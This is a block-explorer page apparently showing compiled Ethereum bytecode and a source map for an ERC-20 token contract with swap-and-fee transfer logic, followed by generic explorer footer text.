57506016546301000000900460ff165b801561089457506002546001600160a01b038681169116145b801561089d5750805b80156108c157506001600160a01b0386165f9081526004602052604090205460ff16155b80156108e557506001600160a01b0385165f9081526004602052604090205460ff16155b1561096c576001546001600160a01b03165f9081526005602052604081205461091090612710610b31565b90505f61092882601354610aac90919063ffffffff16565b90505f6109358583610c26565b90504761094a6109458984610c26565b610c3a565b5f6109554783610aac565b905080156109665761096681610da7565b50505050505b50505b80156109e757305f9081526005602052604090205461098e9082610de2565b305f81815260056020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109de9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260056020526040902054610a099083610aac565b6001600160a01b0385165f90815260056020526040902055610a4c610a2e8383610aac565b6001600160a01b0385165f9081526005602052604090205490610de2565b6001600160a01b038085165f8181526005602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610a958585610aac565b60405190815260200160405180910390a350505050565b5f610aed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e40565b9392505050565b5f600e5460185411610b07575060085490565b600e54601854118015610b1e575060105460185411155b15610b2a5750600a5490565b50600c5490565b5f825f03610b4057505f610389565b5f610b4b83856110c2565b905082610b588583611139565b14610aed5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610427565b5f610aed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e78565b5f600e5460185411610c03575060095490565b600f54601854118015610c1a575060115460185411155b15610b2a5750600b5490565b5f818311610c345782610aed565b50919050565b6016805462ff00001916620100001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c7e57610c7e611158565b6001600160a01b03928316602091820292909201810191909152600354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cd5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cf9919061116c565b81600181518110610d0c57610d0c611158565b6001600160a01b039283166020918202929092010152600354610d329130911684610584565b60035460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d6a9085905f90869030904290600401611187565b5f604051808303815f87803b158015610d81575f80fd5b505af1158015610d93573d5f803e3d5ffd5b50506016805462ff00001916905550505050565b6017546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610dde573d5f803e3d5ffd5b5050565b5f80610dee838561110e565b905083811015610aed5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610427565b5f8184841115610e635760405162461bcd60e51b81526004016104279190610ea4565b505f610e6f84866111f6565b95945050505050565b5f8183610e985760405162461bcd60e51b81526004016104279190610ea4565b505f610e6f8486611139565b5f6020808352835180828501525f5b81811015610ecf57858101830151858201604001528201610eb3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f03575f80fd5b50565b5f8060408385031215610f17575f80fd5b8235610f2281610eef565b946020939093013593505050565b5f805f60608486031215610f42575f80fd5b8335610f4d81610eef565b92506020840135610f5d81610eef565b929592945050506040919091013590565b5f60208284031215610f7e575f80fd5b8135610aed81610eef565b5f8060408385031215610f9a575f80fd5b8235610fa581610eef565b91506020830135610fb581610eef565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561100e57815f1904821115610ff457610ff4610fc0565b8085161561100157918102915b93841c9390800290610fd9565b509250929050565b5f8261102457506001610389565b8161103057505f610389565b816001811461104657600281146110505761106c565b6001915050610389565b60ff84111561106157611061610fc0565b50506001821b610389565b5060208310610133831016604e8410600b841016171561108f575081810a610389565b6110998383610fd4565b805f19048211156110ac576110ac610fc0565b029392505050565b5f610aed60ff841683611016565b808202811582820484141761038957610389610fc0565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082018082111561038957610389610fc0565b5f6001820161113257611132610fc0565b5060010190565b5f8261115357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561117c575f80fd5b8151610aed81610eef565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156111d55784516001600160a01b0316835293830193918301916001016111b0565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561038957610389610fc056fea2646970667358221220abe6db57634f8609174191bb51dc2b5ee34f867d05c88302009d14673305164d64736f6c63430008150033

Deployed Bytecode Sourcemap

3726:8816:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6425:83;;;;;;;;;;-1:-1:-1;6495:5:0;;;;;;;;;;;;-1:-1:-1;;;6495:5:0;;;;6425:83;;;;;;;:::i;:::-;;;;;;;;7943:161;;;;;;;;;;-1:-1:-1;7943:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7943:161:0;1023:187:1;6607:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;6607:95:0;1215:177:1;12270:269:0;;;;;;;;;;-1:-1:-1;12270:269:0;;;;;:::i;:::-;;:::i;6516:83::-;;;;;;;;;;-1:-1:-1;6516:83:0;;4676:1;2000:36:1;;1988:2;1973:18;6516:83:0;1858:184:1;4933:48:0;;;;;;;;;;;;;;;;5044:53;;;;;;;;;;;;;;;;6710:119;;;;;;;;;;-1:-1:-1;6710:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6803:18:0;6776:7;6803:18;;;:9;:18;;;;;;;6710:119;771:148;;;;;;;;;;;;;:::i;:::-;;7467:203;;;;;;;;;;;;;:::i;4988:49::-;;;;;;;;;;;;;;;;11932:155;;;;;;;;;;;;;:::i;684:79::-;;;;;;;;;;-1:-1:-1;722:7:0;749:6;684:79;;-1:-1:-1;;;;;749:6:0;;;2445:51:1;;2433:2;2418:18;684:79:0;2299:203:1;6330:87:0;;;;;;;;;;-1:-1:-1;6402:7:0;;;;;;;;;;;;-1:-1:-1;;;6402:7:0;;;;6330:87;;4871:55;;;;;;;;;;;;;;;;12095:167;;;;;;;;;;-1:-1:-1;12095:167:0;;;;;:::i;:::-;;:::i;5106:39::-;;;;;;;;;;-1:-1:-1;5106:39:0;;;;;;;;7316:143;;;;;;;;;;-1:-1:-1;7316:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7424:18:0;;;7397:7;7424:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7316:143;7943:161;8018:4;8035:39;431:10;8058:7;8067:6;8035:8;:39::i;:::-;-1:-1:-1;8092:4:0;7943:161;;;;;:::o;6607:95::-;6660:7;4732:15;4676:1;4732:2;:15;:::i;:::-;4719:28;;:10;:28;:::i;:::-;6680:14;;6607:95;:::o;12270:269::-;12368:4;12385:36;12395:6;12403:9;12414:6;12385:9;:36::i;:::-;-1:-1:-1;;;;;12463:19:0;;;;;;:11;:19;;;;;;;;431:10;12463:33;;;;;;;;;12432:77;;12441:6;;12463:45;;12501:6;12463:37;:45::i;:::-;12432:8;:77::i;:::-;-1:-1:-1;12527:4:0;12270:269;;;;;:::o;771:148::-;967:6;;-1:-1:-1;;;;;967:6:0;431:10;967:22;959:67;;;;-1:-1:-1;;;959:67:0;;;;;;;:::i;:::-;;;;;;;;;853:1:::1;836:19:::0;;-1:-1:-1;;;;;;836:19:0::1;::::0;;871:40:::1;::::0;853:1;;871:40:::1;::::0;853:1;;871:40:::1;771:148::o:0;7467:203::-;967:6;;-1:-1:-1;;;;;967:6:0;431:10;967:22;959:67;;;;-1:-1:-1;;;959:67:0;;;;;;;:::i;:::-;4732:15:::1;4676:1;4732:2;:15;:::i;:::-;4719:28;::::0;:10:::1;:28;:::i;:::-;7521:12;:22:::0;4732:15:::1;4676:1;4732:2;:15;:::i;:::-;4719:28;::::0;:10:::1;:28;:::i;:::-;7554:16;:26:::0;7591:20:::1;:28:::0;;-1:-1:-1;;7591:28:0::1;::::0;;7635:27:::1;4732:15;4676:1;4732:2;:15;:::i;:::-;4719:28;::::0;:10:::1;:28;:::i;:::-;7635:27;::::0;1361:25:1;;;1349:2;1334:18;7635:27:0::1;;;;;;;7467:203::o:0;11932:155::-;967:6;;-1:-1:-1;;;;;967:6:0;431:10;967:22;959:67;;;;-1:-1:-1;;;959:67:0;;;;;;;:::i;:::-;11998:15:::1;::::0;::::1;::::0;::::1;;;11997:16;11989:25;;;::::0;::::1;;12027:12;:19:::0;;-1:-1:-1;;12057:22:0;;;;;11932:155::o;12095:167::-;12173:4;12190:42;431:10;12214:9;12225:6;12190:9;:42::i;7678:257::-;-1:-1:-1;;;;;7771:19:0;;7763:28;;;;;;-1:-1:-1;;;;;7810:21:0;;7802:30;;;;;;-1:-1:-1;;;;;7843:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7895:32;;1361:25:1;;;7895:32:0;;1334:18:1;7895:32:0;;;;;;;7678:257;;;:::o;8607:2625::-;-1:-1:-1;;;;;8704:20:0;;8696:29;;;;;;-1:-1:-1;;;;;8744:23:0;;8736:32;;;;;;8796:1;8787:6;:10;8779:19;;;;;;8809:17;749:6;;-1:-1:-1;;;;;8855:17:0;;;749:6;;8855:17;;;;:41;;-1:-1:-1;722:7:0;749:6;-1:-1:-1;;;;;8876:20:0;;;749:6;;8876:20;;8855:41;8851:1983;;;8925:30;8951:3;8925:21;8936:9;:7;:9::i;:::-;8925:6;;:10;:21::i;:::-;:25;;:30::i;:::-;8977:15;;8913:42;;-1:-1:-1;8977:15:0;;;;;8972:125;;-1:-1:-1;;;;;9021:26:0;;;;;;:18;:26;;;;;;;;;:59;;-1:-1:-1;;;;;;9051:29:0;;;;;;:18;:29;;;;;;;;9021:59;9013:68;;;;;;9117:20;;;;9113:328;;;9183:16;;-1:-1:-1;;;;;9162:38:0;;;9183:16;;9162:38;;;;:78;;-1:-1:-1;9225:14:0;;-1:-1:-1;;;;;9204:36:0;;;9225:14;;9204:36;;9162:78;9158:268;;;9303:9;9274:39;;;;:28;:39;;;;;;9316:12;-1:-1:-1;9266:63:0;;;;;;9381:9;9352:39;;;;:28;:39;;;;;9394:12;9352:54;;9158:268;9471:14;;-1:-1:-1;;;;;9461:24:0;;;9471:14;;9461:24;:66;;;;-1:-1:-1;9510:16:0;;-1:-1:-1;;;;;9489:38:0;;;9510:16;;9489:38;;9461:66;:100;;;;-1:-1:-1;;;;;;9532:29:0;;;;;;:18;:29;;;;;;;;9531:30;9461:100;9457:407;;;9601:12;;9591:6;:22;;9583:31;;;;;;9674:16;;9664:6;9641:20;9651:9;-1:-1:-1;;;;;6803:18:0;6776:7;6803:18;;;:9;:18;;;;;;;6710:119;9641:20;:29;;;;:::i;:::-;:49;;9633:58;;;;;;9712:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9758:18;;9746:9;;:30;9742:107;;;9801:20;:28;;-1:-1:-1;;9801:28:0;;;9742:107;9897:14;;-1:-1:-1;;;;;9884:27:0;;;9897:14;;9884:27;:53;;;;-1:-1:-1;;;;;;9915:22:0;;9932:4;9915:22;;9884:53;9880:137;;;9970:31;9997:3;9970:22;9981:10;:8;:10::i;9970:31::-;9958:43;;9880:137;10077:4;10033:23;6803:18;;;:9;:18;;;;;;10131:17;;10168:7;;10113:35;;;;10168:7;;;;;10167:8;:24;;;;-1:-1:-1;10179:12:0;;;;;;;10167:24;:55;;;;-1:-1:-1;10208:14:0;;-1:-1:-1;;;;;10195:27:0;;;10208:14;;10195:27;10167:55;:66;;;;;10226:7;10167:66;:97;;;;-1:-1:-1;;;;;;10238:26:0;;;;;;:18;:26;;;;;;;;10237:27;10167:97;:131;;;;-1:-1:-1;;;;;;10269:29:0;;;;;;:18;:29;;;;;;;;10268:30;10167:131;10163:660;;;10350:8;;-1:-1:-1;;;;;10350:8:0;10319:18;6803;;;:9;:18;;;;;;10340:28;;10364:3;10340:23;:28::i;:::-;10319:49;;10387:18;10408:27;10424:10;10408:11;;:15;;:27;;;;:::i;:::-;10387:48;;10454:18;10475:32;10480:15;10496:10;10475:4;:32::i;:::-;10454:53;-1:-1:-1;10547:21:0;10587:43;10605:24;10610:6;10454:53;10605:4;:24::i;:::-;10587:17;:43::i;:::-;10649:16;10668:37;:21;10694:10;10668:25;:37::i;:::-;10649:56;-1:-1:-1;10728:12:0;;10724:84;;10765:23;10779:8;10765:13;:23::i;:::-;10300:523;;;;;10163:660;8898:1936;;8851:1983;10850:13;;10846:170;;10923:4;10905:24;;;;:9;:24;;;;;;:39;;10934:9;10905:28;:39::i;:::-;10896:4;10878:24;;;;:9;:24;;;;;;;:66;;;;10962:42;;-1:-1:-1;;;;;10962:42:0;;;;;;;10994:9;1361:25:1;;1349:2;1334:18;;1215:177;10962:42:0;;;;;;;;10846:170;-1:-1:-1;;;;;11048:17:0;;;;;;:9;:17;;;;;;:29;;11070:6;11048:21;:29::i;:::-;-1:-1:-1;;;;;11028:17:0;;;;;;:9;:17;;;;;:49;11111:47;11136:21;:6;11147:9;11136:10;:21::i;:::-;-1:-1:-1;;;;;11111:20:0;;;;;;:9;:20;;;;;;;:24;:47::i;:::-;-1:-1:-1;;;;;11088:20:0;;;;;;;:9;:20;;;;;:70;;;;11174:50;;;11202:21;:6;11213:9;11202:10;:21::i;:::-;11174:50;;1361:25:1;;;1349:2;1334:18;11174:50:0;;;;;;;8685:2547;8607:2625;;;:::o;2183:136::-;2241:7;2268:43;2272:1;2275;2268:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2261:50;2183:136;-1:-1:-1;;;2183:136:0:o;11277:317::-;11318:7;11355:15;;11342:9;;:28;11338:82;;-1:-1:-1;11394:14:0;;;11277:317::o;11338:82::-;11448:15;;11436:9;;:27;:64;;;;;11480:20;;11467:9;;:33;;11436:64;11432:123;;;-1:-1:-1;11524:19:0;;;11277:317::o;11432:123::-;-1:-1:-1;11574:12:0;;;11277:317::o;1931:246::-;1989:7;2013:1;2018;2013:6;2009:47;;-1:-1:-1;2043:1:0;2036:8;;2009:47;2066:9;2078:5;2082:1;2078;:5;:::i;:::-;2066:17;-1:-1:-1;2111:1:0;2102:5;2106:1;2066:17;2102:5;:::i;:::-;:10;2094:56;;;;-1:-1:-1;;;2094:56:0;;5643:2:1;2094:56:0;;;5625:21:1;5682:2;5662:18;;;5655:30;5721:34;5701:18;;;5694:62;-1:-1:-1;;;5772:18:1;;;5765:31;5813:19;;2094:56:0;5441:397:1;2901:132:0;2959:7;2986:39;2990:1;2993;2986:39;;;;;;;;;;;;;;;;;:3;:39::i;11602:322::-;11644:7;11681:15;;11668:9;;:28;11664:83;;-1:-1:-1;11720:15:0;;;11602:322::o;11664:83::-;11775:16;;11763:9;;:28;:66;;;;;11808:21;;11795:9;;:34;;11763:66;11759:126;;;-1:-1:-1;11853:20:0;;;11602:322::o;6837:106::-;6895:7;6925:1;6921;:5;6920:15;;6934:1;6920:15;;;-1:-1:-1;6930:1:0;6837:106;-1:-1:-1;6837:106:0:o;8112:487::-;6262:7;:14;;-1:-1:-1;;6262:14:0;;;;;8215:16:::1;::::0;;6262:7;8215:16;;;;;::::1;::::0;;-1:-1:-1;;8215:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8215:16:0::1;8191:40;;8260:4;8242;8247:1;8242:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8242:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8286:16:::1;::::0;:23:::1;::::0;;-1:-1:-1;;;8286:23:0;;;;:16;;;::::1;::::0;:21:::1;::::0;:23:::1;::::0;;::::1;::::0;8242:7;;8286:23;;;;;:16;:23:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8276:4;8281:1;8276:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8276:33:0;;::::1;:7;::::0;;::::1;::::0;;;;;:33;8352:16:::1;::::0;8320:63:::1;::::0;8337:4:::1;::::0;8352:16:::1;8371:11:::0;8320:8:::1;:63::i;:::-;8394:16;::::0;:197:::1;::::0;-1:-1:-1;;;8394:197:0;;-1:-1:-1;;;;;8394:16:0;;::::1;::::0;:67:::1;::::0;:197:::1;::::0;8476:11;;8394:16:::1;::::0;8518:4;;8545::::1;::::0;8565:15:::1;::::0;8394:197:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6299:7:0;:15;;-1:-1:-1;;6299:15:0;;;-1:-1:-1;;;;8112:487:0:o;7215:93::-;7273:10;;:27;;-1:-1:-1;;;;;7273:10:0;;;;:27;;;;;7293:6;;7273:10;:27;:10;:27;7293:6;7273:10;:27;;;;;;;;;;;;;;;;;;;;;7215:93;:::o;2716:179::-;2774:7;;2806:5;2810:1;2806;:5;:::i;:::-;2794:17;;2835:1;2830;:6;;2822:46;;;;-1:-1:-1;;;2822:46:0;;7550:2:1;2822:46:0;;;7532:21:1;7589:2;7569:18;;;7562:30;7628:29;7608:18;;;7601:57;7675:18;;2822:46:0;7348:351:1;2520:190:0;2606:7;2642:12;2634:6;;;;2626:29;;;;-1:-1:-1;;;2626:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2666:9:0;2678:5;2682:1;2678;:5;:::i;:::-;2666:17;2520:190;-1:-1:-1;;;;;2520:190:0:o;2325:189::-;2411:7;2446:12;2439:5;2431:28;;;;-1:-1:-1;;;2431:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2470:9:0;2482:5;2486:1;2482;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;4949:125::-;5014:9;;;5035:10;;;5032:36;;;5048:18;;:::i;5079:135::-;5118:3;5139:17;;;5136:43;;5159:18;;:::i;:::-;-1:-1:-1;5206:1:1;5195:13;;5079:135::o;5219:217::-;5259:1;5285;5275:132;;5329:10;5324:3;5320:20;5317:1;5310:31;5364:4;5361:1;5354:15;5392:4;5389:1;5382:15;5275:132;-1:-1:-1;5421:9:1;;5219:217::o;5975:127::-;6036:10;6031:3;6027:20;6024:1;6017:31;6067:4;6064:1;6057:15;6091:4;6088:1;6081:15;6107:251;6177:6;6230:2;6218:9;6209:7;6205:23;6201:32;6198:52;;;6246:1;6243;6236:12;6198:52;6278:9;6272:16;6297:31;6322:5;6297:31;:::i;6363:980::-;6625:4;6673:3;6662:9;6658:19;6704:6;6693:9;6686:25;6730:2;6768:6;6763:2;6752:9;6748:18;6741:34;6811:3;6806:2;6795:9;6791:18;6784:31;6835:6;6870;6864:13;6901:6;6893;6886:22;6939:3;6928:9;6924:19;6917:26;;6978:2;6970:6;6966:15;6952:29;;6999:1;7009:195;7023:6;7020:1;7017:13;7009:195;;;7088:13;;-1:-1:-1;;;;;7084:39:1;7072:52;;7179:15;;;;7144:12;;;;7120:1;7038:9;7009:195;;;-1:-1:-1;;;;;;;7260:32:1;;;;7255:2;7240:18;;7233:60;-1:-1:-1;;;7324:3:1;7309:19;7302:35;7221:3;6363:980;-1:-1:-1;;;6363:980:1:o;7704:128::-;7771:9;;;7792:11;;;7789:37;;;7806:18;;:::i

Swarm Source

ipfs://abe6db57634f8609174191bb51dc2b5ee34f867d05c88302009d14673305164d
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.